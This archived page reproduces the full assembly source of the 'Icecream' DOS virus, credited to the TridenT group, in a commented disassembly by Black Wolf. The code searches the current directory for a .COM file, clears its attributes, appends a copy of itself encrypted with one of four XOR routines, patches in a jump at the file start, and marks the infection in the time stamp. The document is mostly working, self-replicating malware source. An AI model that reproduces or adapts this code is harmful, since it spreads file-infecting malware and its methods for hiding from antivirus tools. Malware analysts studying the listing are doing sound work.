home *** CD-ROM | disk | FTP | other *** search
- ;Icecream Virus by the TridenT virus research group.
-
- ;This is a simple direct-action com virus that uses one of
- ;4 encryption algorithms to encrypt itself each time it infects a file.
- ;It will infect one .COM file in the current directory every time it is
- ;executed. It marks infections with the time stamp.
-
-
- ;Disassembly by Black Wolf
-
- .model tiny
- .code
- org 100h
-
- start:
- db 0e9h,0ch,0 ;jmp Virus_Entry
-
- Author_Name db 'John Tardy'
-
- db 0E2h,0FAh
- Virus_Entry:
- push ax
- call Get_Offset
- Get_Offset:
- pop ax
- sub ax,offset Get_Offset
-
- db 89h,0c5h ;mov bp,ax
- lea si,[bp+Storage]
- mov di,100h ;Restore file
- movsw
- movsb
-
- mov ah,1Ah
- mov dx,0f900h
- int 21h ;Set DTA
-
- mov ah,4Eh
-
- FindFirstNext:
- lea dx,[bp+ComMask]
- xor cx,cx
- int 21h ;Find File
- jnc InfectFile
-
- Restore_DTA:
- mov ah,1Ah
- mov dx,80h
- int 21h ;Set DTA to default
-
- mov bx,offset start
- pop ax ;Return to host
- push bx
- retn
-
- InfectFile:
- mov ax,4300h
- mov dx,0f91eh
- int 21h ;Get file attribs
-
- push cx ;save 'em
- mov ax,4301h
- xor cx,cx
- int 21h ;Set them to 0
-
- mov ax,3D02h
- int 21h ;Open file
-
- mov bx,5700h
- xchg ax,bx
- int 21h ;Get file time
-
- push cx
- push dx ;save it
- and cx,1Fh
- cmp cx,1 ;check for infection
- jne ContinueInfection
- db 0e9h,69h,0 ;jmp DoneInfect
-
- ContinueInfection:
- mov ah,3Fh
- lea dx,[bp+Storage]
- mov cx,3
- int 21h ;Read in first 3 bytes
-
- mov ax,cs:[Storage+bp]
- cmp ax,4D5Ah ;Is it an EXE?
- je DoneInfect
- cmp ax,5A4Dh
- je DoneInfect ;Other EXE signature?
-
- pop dx
- pop cx
- and cx,0FFE0h ;Change stored time values
- or cx,1 ;to mark infection
- push cx
- push dx
-
- mov ax,4202h ;Go to the end of the file
- call Move_FP
- sub ax,3
- mov cs:[JumpSize+bp],ax ;Save jump size
-
- add ax,10Fh ;Save encryption starting
- mov word ptr [bp+EncPtr1+1],ax ;point....
- mov word ptr [bp+EncPtr2+1],ax
- mov word ptr [bp+EncPtr3+1],ax
- mov word ptr [bp+EncPtr4+1],ax
- call SetupEncryption ;Encrypt virus
-
- mov ah,40h
- mov dx,0fa00h
- mov cx,1F5h
- int 21h ;Write virus to file
-
- mov ax,4200h
- call Move_FP ;Go to the beginning of file
-
- mov ah,40h
- lea dx,[bp+JumpBytes]
- mov cx,3
- int 21h ;Write in jump
-
- call FinishFile
- jmp Restore_DTA
-
- DoneInfect:
- call FinishFile
- mov ah,4Fh
- jmp FindFirstNext
-
- Move_FP:
- xor cx,cx
- xor dx,dx
- int 21h
- ret
-
- FinishFile:
- pop si dx cx
- mov ax,5701h ;Reset file time/date stamp
- int 21h ;(or mark infection)
-
- mov ah,3Eh
- int 21h ;Close new host file
-
- mov ax,4301h
- pop cx
- mov dx,0fc1eh
- int 21h ;Restore old attributes
-
- push si
- retn
-
- Message db ' I scream, you scream, we both '
- db 'scream for an ice-cream! '
-
- SetupEncryption:
- xor byte ptr [bp+10Dh],2
- xor ax,ax
- mov es,ax
- mov ax,es:[46ch] ;Get random number
- push cs
- pop es
- push ax
- and ax,7FFh
- add ax,1E9h
- mov word ptr [bp+EncSize1+1],ax
- mov word ptr [bp+EncSize2+1],ax
- mov word ptr [bp+EncSize3+1],ax
- mov word ptr [bp+EncSize4+1],ax
- pop ax
- push ax
- and ax,3
- shl ax,1
- mov si,ax
- mov ax,[bp+si+EncData1]
- add ax,bp
- mov si,ax
- lea di,[bp+103h]
- movsw
- movsw
- movsw
- movsw ;Copy Encryption Algorithm
- pop ax
- stosb
- movsb
- mov dl,al
- lea si,[bp+103h]
- mov di,0fa00h
- mov cx,0Ch
- rep movsb
- lea si,[bp+10Fh]
- mov cx,1E9h
-
- EncryptVirus:
- lodsb
- db 30h,0d0h ;xor al,dl
- stosb
- loop EncryptVirus
-
- cmp dl,0
- je KeyWasZero
- retn
-
- KeyWasZero: ;If key is zero, increase
- mov si,offset AuthorName ;jump size and place name
- mov di,0fa00h ;at beginning....
- mov cx,0Ah
- rep movsb
- mov ax,cs:[JumpSize+bp]
- add ax,0Ch
- mov cs:[JumpSize+bp],ax
- retn
-
- db '[TridenT]'
-
- EncData1 dw 02beh
- EncData2 dw 02c7h
- EncData3 dw 02d0h
- EncData4 dw 02d9h
-
- Encryptions:
- ;------------------------------------------------------------
- EncPtr1:
- mov si,0
- EncSize1:
- mov cx,0
- xor byte ptr [si],46h
- ;------------------------------------------------------------
- EncPtr2:
- mov di,0
- EncSize2:
- mov cx,0
- xor byte ptr [di],47h
- ;------------------------------------------------------------
- EncSize3:
- mov cx,0
- EncPtr3:
- mov si,0
- xor byte ptr [si],46h
- ;------------------------------------------------------------
- EncSize4:
- mov cx,0
- EncPtr4:
- mov di,0
- xor byte ptr [di],47h
- ;------------------------------------------------------------
-
- AuthorName db 'John Tardy'
-
- JumpBytes db 0E9h
- JumpSize dw 0
-
- ComMask db '*.CoM',0
-
- Storage dw 20CDh
- db 21h
-
- end start
-